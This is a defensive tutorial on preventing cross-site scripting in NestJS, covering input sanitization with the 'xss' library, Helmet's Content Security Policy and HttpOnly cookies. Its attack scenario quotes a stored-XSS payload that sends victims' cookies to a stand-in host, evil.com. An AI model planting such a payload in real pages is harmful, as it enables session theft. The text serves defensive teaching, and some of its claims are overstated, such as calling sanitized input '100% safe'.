XSS Prevention
Cross-Site Scripting (XSS) is a vulnerability where an attacker injects malicious JavaScript into an application. When other users view the application, their browser executes the attacker’s script, often resulting in stolen session cookies or unauthorized actions.
Overview
XSS is fundamentally a frontend vulnerability (it happens in the browser), but the backend (NestJS) is responsible for storing and returning the malicious payload.
The Attack Scenario:
- Attacker updates their profile bio to:
<script>fetch('evil.com?cookie=' + document.cookie)</script> - NestJS saves this string to the database.
- Another user visits the attacker’s profile.
- NestJS returns the malicious string.
- The frontend (e.g., React, Vue) renders the string directly into the HTML DOM.
- The victim’s browser executes the script, stealing their session cookie.
Key Concepts
- Stored XSS: The malicious script is saved in the database (e.g., a blog comment) and served to all users.
- Reflected XSS: The malicious script is embedded in the URL (e.g.,
?search=<script>...) and the server echoes it back in the HTML response. - Sanitization vs Escaping:
- Escaping converts
<to<so the browser renders it as text, not HTML. (Best done by the frontend). - Sanitization removes dangerous HTML tags (like
<script>) but keeps safe tags (like<b>). (Best done by the backend).
- Escaping converts
Code Examples
1. Sanitizing Input in NestJS
If your application accepts rich text (e.g., a blog post written in a WYSIWYG editor), you must sanitize the HTML on the backend before saving it to the database.
Do not write your own RegEx! Use a proven library like DOMPurify or xss.
npm install xss
// sanitize.pipe.ts
import { PipeTransform, Injectable, ArgumentMetadata } from '@nestjs/common';
import * as xss from 'xss';
@Injectable()
export class SanitizeHtmlPipe implements PipeTransform {
transform(value: any, metadata: ArgumentMetadata) {
if (typeof value === 'string') {
// Strips out <script>, onclick handlers, and iframe tags.
// Keeps safe tags like <b>, <i>, <p>.
return xss.filterXSS(value);
}
if (typeof value === 'object' && value !== null) {
// Recursively sanitize objects
for (const key in value) {
value[key] = this.transform(value[key], metadata);
}
}
return value;
}
}
Apply the pipe globally or to specific endpoints:
@Post('comments')
@UsePipes(new SanitizeHtmlPipe())
createComment(@Body() commentDto: CreateCommentDto) {
// commentDto.html_content is now 100% safe to save to the database.
return this.db.save(commentDto);
}
2. Using Helmet for CSP
Content Security Policy (CSP) is the ultimate defense against XSS. Even if an attacker successfully injects a <script> tag into your HTML, a strict CSP will instruct the browser not to execute it.
// main.ts
import helmet from 'helmet';
// Apply helmet globally
app.use(helmet());
// By default, Helmet's CSP prevents inline scripts from executing!
Best Practices
- Rely on the Frontend: Modern frontend frameworks (React, Vue, Angular) automatically escape variables by default (e.g.,
{user.bio}in React). You only run into XSS issues if you bypass this protection (e.g., usingdangerouslySetInnerHTML). The backend should focus on validating data types, while the frontend focuses on safe rendering. - HttpOnly Cookies: If you store authentication tokens (JWTs or Session IDs) in cookies, always set the
HttpOnlyflag. This prevents JavaScript from reading the cookie (document.cookiewill return empty). Even if an attacker executes an XSS script, they cannot steal the user’s session token!